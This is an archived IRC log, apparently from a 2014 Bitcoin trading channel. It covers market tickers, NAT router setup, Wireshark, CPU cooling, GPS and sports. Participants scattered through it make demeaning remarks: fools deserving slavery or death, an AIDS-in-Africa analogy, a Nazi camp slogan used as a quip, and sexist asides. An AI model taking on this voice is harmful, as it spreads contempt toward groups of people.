    mircea_popescu: !up Kuba1234_
    
    mircea_popescu: asciilifeform the fact that the eu even considered that demand, and i don't mean answer to it, but even considered it
    
    mircea_popescu: puts the whole pretense of representativity into question.
    
    asciilifeform: obligatory, orlov's deer hunter... http://log.bitcoin-assets.com/?date=09-07-2014#750027
    
    assbot: Logged on 09-07-2014 00:50:59; asciilifeform: '
we need a word that describes the artifacts generated in response to irrational actors who demand to be fooled. As the old saying goes, A fool and his money are soon parted  at the fools own insistence, no less! If the deer comes out of the forest and walks up to the hunter, it is not proper hunting, and this is not proper con artistry or grift or embezzlement or any other term we use to describ
    
    assbot: [MPEX] [S.MPOE] 40900 @ 0.000753 = 30.7977 BTC [+]
    
    asciilifeform: we have an instance of symbiosis.
    
    mircea_popescu: i am unconvinced.
    
    asciilifeform: well, naturally. right now folks have to choose between 'rich and healthy or poor and diseased.' because actual security is expensive (the way unicorn meat is expensive)
    
    asciilifeform: but if it were an actual option, appealing to beggar and miser alike, then we know if deliberate bending over is the actual phenomenon at work
    
    mircea_popescu: it's not expensive except in terms of derpage.
    
    mircea_popescu: "can i wear my pretenses with this five dollar suit ?" "no" "wow what an EXPENSIVE suit!11"
    
    asciilifeform: this is rather more like how in parts of africa, it would be 'expensive' to hire a man without aids virus
    
    asciilifeform: i.e. you'd have to fly him in
    
    mircea_popescu: not so.
    
    mircea_popescu: that analogy would hold if a) no aids could infect trhe brain ever and b) all human parts were detachable, and cost less than a pill in a us hospital.
    
    mircea_popescu: 500 bucks buys you six different pairs of legs and arms
    
    asciilifeform: where do you buy software stack without any dark matter ?
    
    mircea_popescu: it's... free.
    
    asciilifeform might have a somewhat stricter definition of dark matter...
    
    mircea_popescu: no, you just don't want to apply management to the philosophical problem.
    
    mircea_popescu: suppose you have an infinite supply of liars. can you construct an oracle out of this ?
    
    asciilifeform: i'd happily apply alchemy and astrology, if they worked.
    
    asciilifeform: depends - what kind of liars.
    
    asciilifeform: if they're the 'greek' type, that are simply 'not gate', then - sure.
    
    mircea_popescu: suppose there's at least three different types, and you can identify them.
    
    mircea_popescu: absolutely.
    
    asciilifeform: classic puzzler for boys
    
    asciilifeform: of course yes.
    
    mircea_popescu: so then. debian, gentoo, bsds, etc.
    
    asciilifeform: but once you add fools (who can also be liars, but let's not complicate unnecessarily) to the mix...
    
    mircea_popescu: you don';t add fools to the mix.
    
    mircea_popescu: we're not building a world where fools have a chance.
    
    mircea_popescu: fools can be either slaves or dead.
    
    asciilifeform: generations of fools have shat in the soup, though.
    
    mircea_popescu: this is like saying "we've lived there forever"
    
    asciilifeform: e.g. the existence and continued persistence of 'c', x86, etc
    
    mircea_popescu: say to gengis, see.
    
    
    
    assbot: Austrian minister for legal action against EU over UK nuclear plant| Agricultural Commodities| Reuters
    
    mircea_popescu: chetty austrians are even more nutso than the germans
    
    chetty: the line of nutsos is getting long
    
    mircea_popescu: so today i learned someone came up with the following idea : take n2o4, heat. it dissociates into 2no2. put through turbine, extract work. as it cools and loses pressure n2o4  reforms. compress, cycle.
    
    mircea_popescu: i should like to see this thing blow up sometime.
    
    assbot: [MPEX] [S.MPOE] 31799 @ 0.000751 = 23.881 BTC [-] {2} 
    
    
    
    assbot: Beheading suspect recently fired, Oklahoma police say - CNN.com
    
    chetty: this beheading thing is about at meme status
    
    asciilifeform: 'hedsoff.com'
    
    mircea_popescu: asciilifeform btw what did you think of the hour of battle rewrite ?
    
    assbot: [HAVELOCK] [B.SELL] 199 @ 0.00370351 = 0.737 BTC [-] {2} 
    
    asciilifeform: mircea_popescu: it was spiffy, you oughta do more sheckleys.
    
    asciilifeform marches off to do meatspace chore
    
    mircea_popescu: hm.
    
    mats_cd03: http://twentytwowords.com/girly-things-are-gut-wrenchingly-powerful-when-paired-with-poignant-military-pictures
    
    assbot: Girly things are gut-wrenchingly powerful when paired with poignant military pictures | 22 Words
    
    []bot: Bet placed: 1 BTC for No on "Facebook Myspace'd" http://bitbet.us/bet/771/ Odds: 20(Y):80(N) by coin, 27(Y):73(N) by weight. Total bet: 24.93769036 BTC. Current weight: 35,829.
    
    mircea_popescu: why's this gutwrench[ing] construction become such a staple of chicklit anyway ?
    
    mircea_popescu: the likeliness of someone having actually witnessed a savaging is pretty much inversely proprotional to the count of "gutwrenching" they used over their lifetime.
    
    mats_cd03: perhaps because females are intimately familiar with the particular sensation of gut wrenching?
    
    mircea_popescu: at best they flatter themselves to be.
    
    mats_cd03: who knows. i dangle
    
    mats_cd03: these fucking tumblr things are why personnel advocate for the draft
    
    mats_cd03: as misguided as that is, there's something to be said for shared sacrifice
    
    mircea_popescu: by the way, that dangle reminds me : here's what i currently believe the best dialogue in the history of cinema : http://www.youtube.com/watch?v=9r-vu-l8mLE
    
    assbot: Miller's Crossing -- Take your flunky and dangle - YouTube
    
    mircea_popescu: mats_cd03 there's definitely value in educating teenagers.
    
    chetty thinks most women only have a vague idea of where gut is
    
    bounce: what? it's where all the feels are. obviously.
    
    assbot: [MPEX] [S.MPOE] 13550 @ 0.00075058 = 10.1704 BTC [-]
    
    
    
    mats_cd03: thestringpuller: i have an important question for you.
    
    mats_cd03: are you like me, and your inner monologue is performed by a black man?
    
    mats_cd03: i get this impression from you. perhaps i'm projecting.
    
    assbot: [MPEX] [S.MPOE] 33100 @ 0.00075023 = 24.8326 BTC [-] {3} 
    
    thestringpuller: well i am a black man. i was just surrounded by white people all my life.
    
    thestringpuller: so my inner black man is very repressed. like in the chappelle's "When keeping it real goes wrong"
    
    mats_cd03: i see
    
    mats_cd03: i am yellow, so i guess i'm like a meat pie
    
    bounce: pink on the inside, yellow on the outside, and a blackened soul?
    
    mats_cd03: sure
    
    mircea_popescu: "At the Munich Satellite Navigation Summit on 10 March 2010, a Chinese government official asked the European Commission why it no longer wanted to work with China, and when China's cash investment in Galileo would be returned."
    
    mircea_popescu: lel.
    
    assbot: [MPEX] [S.MPOE] 15429 @ 0.00074927 = 11.5605 BTC [-]
    
    
    
    mircea_popescu: chetty quite.
    
    mircea_popescu: pity it doesn't also mention how bush and his lackey blair lied about imagined "weapons" that they themselves did have, but iraq did not have.
    
    mircea_popescu: all this mess stemming from the intellectually bankrupt ideology that there is such a thing as "progress" which somehow is made out of "change".
    
    mircea_popescu: when mingled with the nonsensical misrepresentation of democracy as a representative process, the resulting hypergolic explosion scatters headless chickens over a large surface, which headless chickens then proceed to "do something" because they "have to do something"
    
    
    
    assbot: Tax bureau gets Swiss bank accounts data - BuenosAiresHerald.com
    
    mircea_popescu: everyone's whore, those swiss.
    
    mircea_popescu: "The head of the AFIP tax bureau Ricardo Echegaray received yesterday an encrypted CD from the French government containing information on 3,900 undeclared bank accounts of Argentine origin in the Swiss branch of HSBC. The original source of information is whistleblower Hervé Falciani, who worked as an IT engineer at the bank for seven years before deciding to leak what he saw as systemic tax evasion."
    
    mircea_popescu: lawl.
    
    mircea_popescu: "We will analyze the information on a case-by-case basis, and cross-reference this database with the taxpayers that have declared accounts on Switzerlands HSBC, Echegaray explained afterwards when meeting the press at the Argentine Embassy in France." << how about "we can't use stolen data".
    
    ben_vulpes: and yet being "unbanked" is a bad thing to the libtard
    
    mircea_popescu: "According to Claríns supplement iEco, it was Falciani who originally contacted the Argentine authorities to talk about the list, but there was a legal obstacle to circumvent before the information could be used by AFIP: if the list was given straight to Echegaray outside official state channels, its validity would not have stood in front of a court of law.
    
    mircea_popescu: The fact that the information was today released by the French state to Echegaray under the legal umbrella of a bilateral agreement between both countries tax authorities on so-called double taxation put those doubts to rest."
    
    mircea_popescu: yeah lol, im sure it does.
    
    mircea_popescu: if you're poor.
    
    assbot: [MPEX] [S.MPOE] 31700 @ 0.0007508 = 23.8004 BTC [+] {2} 
    
    chetty: http://deutsche-wirtschafts-nachrichten.de/2014/09/25/auf-dem-weg-in-den-autoritaeren-staat-ukraine-fuehrt-zwangsarbeit-ein/
    
    assbot: Auf dem Weg in den autoritren Staat: Ukraine fhrt Zwangsarbeit ein | DEUTSCHE WIRTSCHAFTS NACHRICHTEN
    
    assbot: [MPEX] [S.MPOE] 1833 @ 0.00074927 = 1.3734 BTC [-]
    
    mircea_popescu: Butterfly Labs is disappointed in the heavy-handed actions of the Federal Trade Commission. In a rush to judgment, the FTC has acted as judge, jury and executioner, contrary to our intended system of governmental checks and balances. "
    
    mircea_popescu: dude check them out, they're doing it EXACTLY .
    
    mircea_popescu: It appears the FTC has decided to go to war on bitcoin overall and is starting with Butterfly Labs. Butterfly Labs is being portrayed by the FTC as a bogus and fake company."
    
    mircea_popescu: scammer won't change his tune even if his tune is pre-published years earlier. because.. why would he.
    
    mircea_popescu: ;;later tell jborkl you don't know where to start ? here's a suggestion as to where to start : http://trilema.com/2013/preemptive-strike-to-have-on-hand-for-when-butterfly-labs-gets-hauled-off-to-jail-in-corpore/
    
    assbot: Preemptive strike, to have on hand for when Butterfly Labs gets hauled off to jail in corpore pe Trilema - Un blog de Mircea Popescu.
    
    gribble: The operation succeeded.
    
    mircea_popescu: ;;rated jborkl
    
    gribble: You have not yet rated user jborkl
    
    mircea_popescu: ;;rated jborkl_
    
    gribble: You rated user jborkl_ on Sat Feb  1 01:01:22 2014, with a rating of 1, and supplied these additional notes: He blogs and stuff..
    
    mircea_popescu: ;;unrate jborkl_
    
    gribble: Successfully removed your rating for jborkl_.
    
    assbot: [MPEX] [S.MPOE] 17188 @ 0.00074873 = 12.8692 BTC [-]
    
    mats_cd03: bfl is bitcoin. good defense.
    
    kakobrekla: bfl is buttcoin.
    
    BingoBoingo: assbot> Tax bureau gets Swiss bank accounts data - BuenosAiresHerald.com << Much bigger news for BTC than PayPal trying to get its dick wet
    
    mircea_popescu: soo, trying to daisychain nat routers. the 2nd one i configured to use as static ip 192.168.0.102 which is what the upstream one would have allocated it, and then 192.168.0.1 as gateway
    
    mircea_popescu: the router connects fine, as proven by knowing what time it is. computers connecting to it see its network, but fail to connect to the interwebs
    
    mircea_popescu: what am i doing wrong here ?
    
    assbot: [MPEX] [S.MPOE] 19900 @ 0.00075231 = 14.971 BTC [+]
    
    BingoBoingo: Did you make sure the goat was a virgin?
    
    mircea_popescu: no but srsly.
    
    BingoBoingo: Is it an issue with the firewall/packet-filter?
    
    mircea_popescu: i would guess no.
    
    assbot: MolokoDesk +v failed; L1: 0, L2: 0
    
    dub: you went long on NAT.ROUTERS
    
    dub: the meme that keeps on giving
    
    mircea_popescu: dub heh
    
    mircea_popescu: so can the innermost lan think the router is 192:168:0:1 while the router thinks the other router is 192:168:0:1 ?
    
    mircea_popescu: hm, this shou;dn't work.
    
    dub: correct
    
    dignork: never tried it, but net 1 - 192.168.0.x, net 2 - 192.168.1.x should work if both use 255.255.255.0 mask
    
    mircea_popescu: so logically, the outside router is 192.168.0.1, and the inside router 192.168.0.102 in its system. however the public ip address of the inside router is 192.168 >> 1 <<< . 1
    
    mircea_popescu: and everything magically works.
    
    mircea_popescu: dignork exactly. tyvm :)
    
    mircea_popescu: hey, being a network engineer is kinda fun.
    
    dub: lets see about 'everything'
    
    mircea_popescu: dub i know enough to do port forwarding for things that  iwant to work,
    
    mircea_popescu: moreover i don't use so many dumb things that have annoying needs.
    
    dub: <mircea_popescu> hey, being a network engineer is kinda fun.
    
    dub: get back to me when you've stood in a cold noisy DC on a con call to mumbai for 15 hours
    
    dignork: dub: do you know of any sane alternative to wireshark? because working with <1G pcaps and re-reading the whole stupid file each time I change view filter hurts my sense of beauty
    
    asciilifeform: dignork: tcpdump...
    
    dignork: asciilifeform: it still works on unindexed raw file...
    
    asciilifeform: also lol, mircea_popescu getting his boxes off dhcp just today...?
    
    dub: ngrep et al are good for refining your set
    
    asciilifeform: afaik there is no serious contender for alternative to 'wireshark.'
    
    asciilifeform: just one of those things which there's precisely one of.
    
    asciilifeform: (at least 'wireshark' is phreee, unlike 'ida')
    
    dignork: they do have something commercial, but I did not look too close
    
    asciilifeform: chetty: ukraine-fuehrt-zwangsarbeit-ein << arbeit macht frei.
    
    asciilifeform: dignork: which 'they'
    
    RagnarDanneskjol: !up MolokoDesk
    
    MolokoDesk: hi.
    
    MolokoDesk: regarding the deedBot project: it's demonstratable now.
    
    dignork: asciilifeform: on wireshark site they promoted some wunder-вафля which can work with large datasets, but it's not there anymore
    
    MolokoDesk: and useable if you want to tolerate it's in-channel announcements.  I'll make it terse by commenting most of those out. at that point it's ready to use.
    
    RagnarDanneskjol: mircea_popescu - pls ping MolokoDesk when you want to go over deed module
    
    asciilifeform: dignork: haha, yes, it's gone.
    
    MolokoDesk: the verbose messages are probably useful for the demo to discuss to any level of detail what it does and how it does it.
    
    dub: wiresharks problem is being single thread iirc
    
    BingoBoingo: Multithreading is just a workaround for the real problem
    
    asciilifeform: dub: has other problems also
    
    dignork: dub: it's IO bound mostly, so I'd vote for indexes :)
    
    dub: dudes at old shop bought a wizbang 24 core/80?gigglebits machine for the purpose,then watched it humming along on 1 core
    
    BingoBoingo is sad more people aren't building chips "Up" and making freon check a part of computer maintenance in more scenarios. Manhattan, New York instead of Manhattan, Kansas...
    
    asciilifeform: BingoBoingo: ever own the old 'koolance' freon cpu gizmo ?
    
    BingoBoingo: asciilifeform: not at all
    
    asciilifeform: nm, 'kryotech'
    
    
    
    asciilifeform: (why never caught on? answer: anything that can go below room temp. can have problems with condensation.)
    
    BingoBoingo: Ah, I'm imaging the heat exchange goes outdoors. Like in airconditioning.
    
    asciilifeform: regardless of where the hot end is.
    
    asciilifeform: if cold end is below room temp - can condense.
    
    dub: know a dude that built one out of an old fridge
    
    asciilifeform: trivial, esp. if you can weld.
    
    dub: never saw active duty for reason stated
    
    asciilifeform: simply not a very good idea.
    
    asciilifeform: better idea - gigantic heat sinks.
    
    asciilifeform: as in, desk sized.
    
    BingoBoingo: But if the cold end never dips below room temperature...
    
    assbot: [MPEX] [S.MPOE] 77405 @ 0.00074831 = 57.9229 BTC [-] {3} 
    
    BingoBoingo is imagining single core producing lots of heat...
    
    dub: ercall this guy saying it was -36C on teh end oslt
    
    BingoBoingo: dub: Then his chip is severely underclocked for this solution
    
    asciilifeform: BingoBoingo: what are you working with ?
    
    BingoBoingo: asciilifeform: A napkin, "Netburst" pentium 4 stats and imagining scaling from there straight up on the clock...
    
    
    
    assbot: THURMAN VS BRUTALUS - YouTube
    
    asciilifeform: BingoBoingo: what do you intend to do with the memory ?
    
    BingoBoingo: asciilifeform: That might be on the next napkin. atm I'm kind of leaning towards the memory not of die using some heat to prevent condensation.
    
    asciilifeform: BingoBoingo: not the heat, no. the wait states.
    
    BingoBoingo: Bottleneck sure. Kind of like a disk drive in comparison. If a process and its handlers can't fit in 16 MB of on chip cache though this is a wrong solution for the task.
    
    asciilifeform: BingoBoingo: intel and amd both have 'cache-as-ram mode', find it.
    
    RagnarDanneskjol: requesting op please invite deedbot to chan
    
    asciilifeform: BingoBoingo: it is used, for example, by bios prior to dram init sequence.
    
    asciilifeform: kakobrekla ?
    
    RagnarDanneskjol: don't know who else is op in here
    
    BingoBoingo: asciilifeform: actually now my brain is encountering locking errors on finding a use case for garage sized single core monster machine.
    
    asciilifeform: if you don't know why you need it - you don't
    
    asciilifeform: BingoBoingo: here, have some fun, https://www.google.com/search?site=&tbm=pts&source=hp&q=national+security+agency
    
    assbot: national security agency - Google Search
    
    asciilifeform: (a long gap, more than a few years, between filing date and publication date - means a formerly secret patent. those are only printed when the subject matter leaks.)
    
    assbot: [MPEX] [S.MPOE] 7750 @ 0.00074826 = 5.799 BTC [-]
    
    BingoBoingo: Ah, more productive. I was almost going to have to posit a "spiritual" sort of use case. Machine that does i++ as fast as possible, not as useful machine but as useful monument.
    
    asciilifeform: prayer mill ?
    
    asciilifeform: build an adder out of GaAs ECL logic.
    
    BingoBoingo: Well, I dun see how such a machine would be useful as a networked device
    
    asciilifeform: actually it isn't an entirely useless thing, such devices can be used to provide experimental proof of, e.g., sr time dilation (yes, exists)
    
    asciilifeform: ^ was an actual problem with u.s. gps sats.
    
    asciilifeform: !up MolokoDesk
    
    decimation: time dilation is accounted for in any reasonable gps receiver
    
    asciilifeform: yes.
    
    asciilifeform: but, if i recall, wasn't, when first built.
    
    decimation: yeah I would believe.  Also GPS is one of the few that chose a rational timebase, no leap seconds
    
    BingoBoingo: This is true. GPS in the 90's was rather useless for pinpoint one's location in a city. Can now tell which building's entrance you are pondering.
    
    asciilifeform: BingoBoingo: nothing to do with this. clinton switched off 'selective availability'
    
    BingoBoingo: I might need to read more, but I though the whole selective availability thing was a bluff.
    
    asciilifeform: BingoBoingo: misnomer. wasn't about the present-day claim of switching off location data to a geographic region
    
    decimation: selective availability definitely existed
    
    asciilifeform: rather, there were two signals, one 'civilian' - nearly worthless, another 'private' - which was accurate
    
    assbot: [MPEX] [S.MPOE] 10950 @ 0.00074756 = 8.1858 BTC [-] {2} 
    
    dub: not same signal with a keyed delay?
    
    BingoBoingo: asciilifeform: Well yeah, that second is what I mean. I dunno that the private was especially useful until the satellites accounted for relativity as they intuited time onto the manifold.
    
    asciilifeform: http://www.aviationtoday.com/av/issue/feature/The-Real-Reason-Selective-Availability-Was-Turned-Off_12739.html
    
    assbot: Avionics Magazine :: The Real Reason Selective Availability Was Turned Off
    
    asciilifeform: ^ speculation
    
    dub: anyway isnt BingoBoingo conflating gps with goog/appl location service?
    
    BingoBoingo: https://www.google.com/patents/US7607858?dq=national+security+agency&hl=en&sa=X&ei=xfMlVNjpD5KYyASjy4CgBQ&ved=0CEIQ6AEwBQ << No countermeasure for thermite? (Not to breach, but to seal more)
    
    assbot: Patent US7607858 - Secure manhole accessway - Google Patents
    
    dub: gps still sucks without good sky
    
    asciilifeform: BingoBoingo: no countermeasure to a turned over garbage truck on it, either
    
    BingoBoingo: dub> anyway isnt BingoBoingo conflating gps with goog/appl location service? << Not really. Dun have those standards to work with.
    
    kakobrekla: RagnarDanneskjol cant you joint it?
    
    kakobrekla: join*
    
    asciilifeform: BingoBoingo: u.s. military establishment has an ancient obsession with kommunist saboteurs (tm) hiding inside manholes.
    
    asciilifeform: BingoBoingo: go to wash., d.c., look at manholes; sometimes they forget to strip the 'presidential' weld seals off.
    
    BingoBoingo: Ah, this particular municipality I'm in atm has a problem of erosion wound manholes threatening to collapse street, leaving the structures supporting manholes as tire slaughtering juggernauts.
    
    MolokoDesk: that's interesting. (.join function for deedBot)
    
    BingoBoingo: !up deedBot
    
    MolokoDesk: bear with the verbose mode...
    
    MolokoDesk: .dump
    
    deedBot: time=1411774314 LAST_BUNDLE_TIME=1411774109 elapsed=205
    
    deedBot: TRACKING: BUNDLE_PENDING-15DJH8JTCPpNhTFAFRyvLNNs4zVStB8UH2.txt = (address = 15DJH8JTCPpNhTFAFRyvLNNs4zVStB8UH2) (mtime = 1411774101) (ctime = 1411774109)
    
    deedBot: DEEDBOT_CHAN=#cex-squawk ERROR_CHAN=MolokoDesk USING_API=bkchain.org scraping/API INTERVAL=3600
    
    deedBot: (switching DEEDBOT_CHAN from #cex-squawk to #bitcoin-assets)
    
    kakobrekla: register the bots nick
    
    MolokoDesk: i would but I'm  not sure I want to put my password in the code.
    
    kakobrekla: ...
    
    kakobrekla: make up a new password!
    
    dub: but its MY passwd!
    
    kakobrekla: ok ill make it up for you
    
    dub: 1p4sswerd
    
    bounce: *******
    
    kakobrekla: i was going to suggest password124
    
    MolokoDesk: freenode assigns the same password to every nick I register. they're all me. It's some anti-sockpuppet feature. There may be work around. I haven't looked into it deeply
    
    kakobrekla: (usually the hackers go for 123)
    
    bounce: haxx0rz!!1!
    
    dub: uh, use a different email address?
    
    MolokoDesk: registering it then dumping the registration would work, but not with WoT
    
    kakobrekla: listen to dub
    
    bounce: think you'd have to reg the bot separately anyhow. ask in #freenode?
    
    dub: but its MY email address!
    
    kakobrekla: use dubs email address
    
    MolokoDesk: heh.
    
    BingoBoingo: Use me@hotmail.com
    
    MolokoDesk: mailinator.com
    
    BingoBoingo: billg@microsoft.com
    
    BingoBoingo: or maybe even tlarussa@diamondbacks.com
    
    BingoBoingo: (last email address not known to go to a mailbox)
    
    BingoBoingo: (or the first)
    
    MolokoDesk: asking nickserv often works out well.
    
    MolokoDesk: I may simply make the deedBot register itself.
    
    kakobrekla: ping me when its done
    
    MolokoDesk: back in a while. shuffling logins and uninstalling/reinstalling deedBot. I'll spare you further details.
    
    BingoBoingo: So... MacIvory is kind of the first thing I've seen that makes the Mac II seem interesting
    
    asciilifeform: BingoBoingo: you can still buy them.
    
    asciilifeform: (or, last i checked, a few years ago0
    
    BingoBoingo: I know
    
    asciilifeform: and, incidentally...
    
    asciilifeform: ;;sell 1 "Symbolics 3620 Lisp Machine. Photos: http://www.loper-os.org/?p=51" at 3 btc must pick up in Washington, D.C. area, this item cannot be shipped economically.
    
    assbot: Loper OS » Lisp, Lisp, Lisp Machine, Lisp Machine is Fun!
    
    gribble: Error: For identification purposes, you must be identified via GPG to use the order book.
    
    asciilifeform: ;;sell 1 "Symbolics 3620 Lisp Machine. Photos: http://www.loper-os.org/?p=51" at 3 btc must pick up in Washington, D.C. area, this item cannot be shipped economically.
    
    assbot: Loper OS » Lisp, Lisp, Lisp Machine, Lisp Machine is Fun!
    
    gribble: Order id 21509 created.
    
    asciilifeform: http://bitcoin-otc.com/vieworderbook.php << not looking so alive
    
    assbot: #bitcoin-otc order book
    
    kakobrekla: indeed
    
    BingoBoingo: http://blackbag.gawker.com/the-pentagon-isnt-done-investigating-1-700-child-porn-c-1639433705/+leahfinnegan
    
    assbot: The Pentagon Isn't Done Investigating 1,700 Child Porn Cases From 2006
    
    asciilifeform: even funnier, (linked) - http://blackbag.gawker.com/those-interceptor-fake-cell-phone-towers-are-in-washi-1637721419
    
    assbot: Those "Interceptor" Fake Cell Phone Towers Are in Washington D.C. Now
    
    BingoBoingo: asciilifeform: Why must you temp me with interesting hardware at a time when I'm trying to condense necessary harware to fit onto Backpack
    
    BingoBoingo is still surprised no one has bitten on the book I've listed in the orderbook
    
    asciilifeform: BingoBoingo: i've been saving that thing so that i can ask it to be brought to my 'peine forte et dure.'
    
    asciilifeform: but, one can only dream, of such a privilege nowadays.
    
    asciilifeform: (it weighs ~60 kg!)
    
    asciilifeform: the console - another 30
    
    BingoBoingo: Ah. So two of those could do most of the work in the 'peine forte et dure'
    
    BingoBoingo: To compensate I imagine they follow with individual grains of sand...
    
    RagnarDanneskjol: !up deedBot
    
    BingoBoingo: ;;ticker
    
    gribble: Bitstamp BTCUSD ticker | Best bid: 404.17, Best ask: 405.64, Bid-ask spread: 1.47000, Last trade: 403.42, 24 hour volume: 9924.61680006, 24 hour low: 396.53, 24 hour high: 414.35, 24 hour vwap: 404.93824206
    
    assbot: [MPEX] [S.MPOE] 13088 @ 0.00074756 = 9.7841 BTC [-]
    
    asciilifeform: BingoBoingo: https://www.google.com/patents/US6784591 << best lulz
    
    assbot: Patent US6784591 - Gravitational wave generator utilizing submicroscopic energizable elements - Google Patents
    
    BingoBoingo: What... the fuck...
    
    
    
    assbot: Doctor Grumpy in the House: Memories...
    
    BingoBoingo: Airplane is solaris box and scada controllers, Airplane is Unix box with wings http://www.theguardian.com/commentisfree/video/2012/apr/19/cory-doctorow-regulation-computation-video time roughly 15:15
    
    assbot: There is a war coming: Cory Doctorow on the future regulation of general purpose computation  video | Comment is free | The Guardian
    
    Duffer1: BingoBoingo, http://en.wikipedia.org/wiki/Speed_of_gravity
    
    assbot: Speed of gravity - Wikipedia, the free encyclopedia
    
    asciilifeform: as far as anyone can tell - equal to 'c'
    
    Duffer1: yep, but without the traditional propogation of a signal through wire
    
    BingoBoingo: http://www.gomerblog.com/2014/09/resuscitate/ >> "Cons / Battery life is weak and Elmos chest cracks easily"
    
    assbot: Product Review: Mattels Resuscitate Me Elmo - Medical Satire - GomerBlog
    
    Duffer1: presumably zero latency depending on the range of the receiving sensor
    
    Duffer1: er presumably zero latency, range dependant on receiving sensor
    
    asciilifeform: if zero -> break sr
    
    asciilifeform: talk backwards in time, or with 'parallel universes' - take your pick
    
    BingoBoingo: Mega bezzel >> http://crazyrxman.blogspot.com/2014/09/another-reason-mail-order-pharmacy-sucks.html
    
    assbot: Crazy RxMan: Another Reason Mail Order Pharmacy Sucks
    
    BingoBoingo: Business makes other business its unpaid support line
    
    BingoBoingo: http://www.sportsonearth.com/article/96334428/college-football-week-5-viewers-guide-picks-previews?partnerId=as_mlb_20140927_32347396
    
    assbot: Top teams will attempt to avoid traps in Week 5 of college football. | SportsonEarth.com : Matt Brown Article
    
    BingoBoingo: ^ Maryland v. Indiana should be an interesting game.
    
    decimation: the fact that maryland is in the big ten now his hilarious
    
    BingoBoingo: decimation: Not really considering Illinois managed to stay in. Hilarious will be that in the next 5 years there is going to be a game where Maryland fucks the ever loving shit out of Ohio State.
    
    BingoBoingo: decimation: What drives excitement in the college game is how disproportionately good the great players are in relation to replacement level. Hence Johnny Manziel singlehandedly making A&M competitive or Tevin Coleman avoiding a coma leading the Indiana upset over Missouri lastweekend almost on his own (Missouri's shitty center helped by not knowing how to snap the fucking ball to the quarterback) http://www.thedrinkingrecord.com/
    
    assbot: Bingo Blog | - of Bitcoin and Boingo
    
    BingoBoingo: 2014/09/22/a-rough-weekend-for-missouri-sports/
    
    RagnarDanneskjol: you follow SEC/ACC bingo?
    
    BingoBoingo: RagnarDanneskjol: Mostly SEC/Big 12
    
    BingoBoingo: Curse of one of the ALma Maters.
    
    RagnarDanneskjol: me too - they make other divisions look like JV imo
    
    BingoBoingo: For the Most part. On the downside other divisions can produce some ridiculously dominant teams due to the lack of serious threats
    
    BingoBoingo: See: Florida State
    
    RagnarDanneskjol: oh yea
    
    BingoBoingo: But I will admit last week's Mizzou loss, they might as well have fucking lost to Mckendree, another Alma Mater which only joined the NCAA 2 years ago, in D 2
    
    RagnarDanneskjol: right - that was pretty lame
    
    BingoBoingo: But still Tevin Coleman, coming back from a near coma was a beast for Indiana.
    
    RagnarDanneskjol: missed that one
    
    BingoBoingo: Dude sat out the entire second quarter on an oxygen machine, game back the second half. Made game winning plays. Definitely making it into the Nfl if he doesn't get himself killed first.
    
    RagnarDanneskjol: oh wow
    
    BingoBoingo: The dude was on supplemental oxygen though before he came back. Why he didn't fucking cross the street to the hospital(s) you could see on camera I will never know.
    
    RagnarDanneskjol: hmm
    
    BingoBoingo: On the other side Mizzou's quarterback displayed spectacluar gymnastic feats of athleticism... merely getting the ball on completely fucked snaps.
    
    BingoBoingo: Doubt He'll finish the season if they keep that center.
    
    BingoBoingo: You can have a great quarterback, but it doesn't mean much if they have to burn time getting the ball in the first place instead of getting it downfield.
    
    RagnarDanneskjol: exactly
    
    BingoBoingo: But that's a hazard of the College game. Good players lose eligibility. Whereas in the NFL you can pick a position play to within 5lbs and 0.5 inches of the coach's ideal
    
    RagnarDanneskjol: hmm. intersting point.  I can't stand pro sports
    
    BingoBoingo: College teams have to keep merely replacement level players from being a handicap.
    
    RagnarDanneskjol: right
    
    BingoBoingo: Well, I like baseball because the great players have the space to make careers. Same for hockey. In the NFL though, I tend to root for players over teams and hope they survive long enough to make it over the sub-two year average career.
    
    RagnarDanneskjol: right - baseball is the exception
    
    BingoBoingo: Right, because Derek Jeter gets to go out with dignity and... Brett Farve after all that CTE can't even continue to grasp hook up etiquette.
    
    RagnarDanneskjol: ha
    
    BingoBoingo: The NBA of course is its own different animal in that it is still recovering from Space Jam, Kazam, and everything but basketball being the center of attention
    
    BingoBoingo: Baseball fucked itself pretty hard by discouraging anyone from liking good players with the PED witchhunt, but... At least it never had a Space Jam.
    
    BingoBoingo: As great as Lebron is, his legacy is going to be compared to the Mega Stars from before the Internet gave such categories serious competition.
    
    RagnarDanneskjol: mhmm
    
    BingoBoingo: Baseball went through this in the 1960's though when neither Marris nor Mantle could be the next Babe Ruth.
    
    BingoBoingo: Creeping up on the NFL (and College Football) is the specter of people prefering to watch games at the bar or at home. Combatting this so far has been teams declaring any Stadium older than 15 years obsolete, but all it takes is one city calling the bluff and chasing their team to Los Angeles for the pressure the NFL exerts to deflate.
    
    BingoBoingo: Then there's the revenue sharing and salary cap shit in the NFL that makes me nauseous... Why should good teams have to disband their core in the same of salary caps? I have no problem with the idea that a Jeter and A Rod-less Yankee team will have Giancarlo Stanton, but salary caps a sa parity tool are even stupider in the NFL where they actually exist as most players careers end within two seasons.
    
    BingoBoingo: lol, is anything wrong with ksh? >> http://www.csoonline.com/article/2688008/security-leadership/three-steps-you-need-to-take-to-avoid-overreacting-to-the-bash-bug.html
    
    assbot: Three steps you need to take to avoid overreacting to the bash bug | CSO Online
    
    asciilifeform: lol that turd reads like it was a 'mad libs' product
    
    asciilifeform: with 'bash bug' inserted in a blank
    
    BingoBoingo: asciilifeform: Well they probably already had the form letter ready
    
    BingoBoingo is still rather sad there is interesting harware right down US 50 from himself, but it is too heavy to acquire.
    
    asciilifeform: too heavy for what?
    
    BingoBoingo: asciilifeform: Too heavy for Mexico backpack
    
    BingoBoingo: And then checking in baggage from Neuvo Laredo to hardware BA
    
    BingoBoingo: I'm coming to terms with my car running out of value to make it worth boating across the Darien
    
    BingoBoingo: So likely the plan may or may not involve hoofing it that stretch and buying another motor vehicle
    
    asciilifeform: BingoBoingo: presumably one-way trip ?
    
    BingoBoingo: asciilifeform: Nah, I'll check out New Reno when it happens
    
    BingoBoingo: The tragic flaw with TDV's Galts gultch Chile is that it could have been viabile if only instead they went for an apartment block in a city...
    
    asciilifeform: what kind of 'gulch' would that be.
    
    asciilifeform: the whole fantasy involves a 'hidden fortress' in some shangri-la
    
    BingoBoingo: asciilifeform: And there's the trick. You can't have shangri-la without fresh nubile women, and you can't have a place for them to congregate without a city. By this metric a courtyard between building wings could be all the gultch necessary.
    
    BingoBoingo: Hidden, Fortress, and neither compose a triangle.
    
    asciilifeform: ;;google mineshaft gap
    
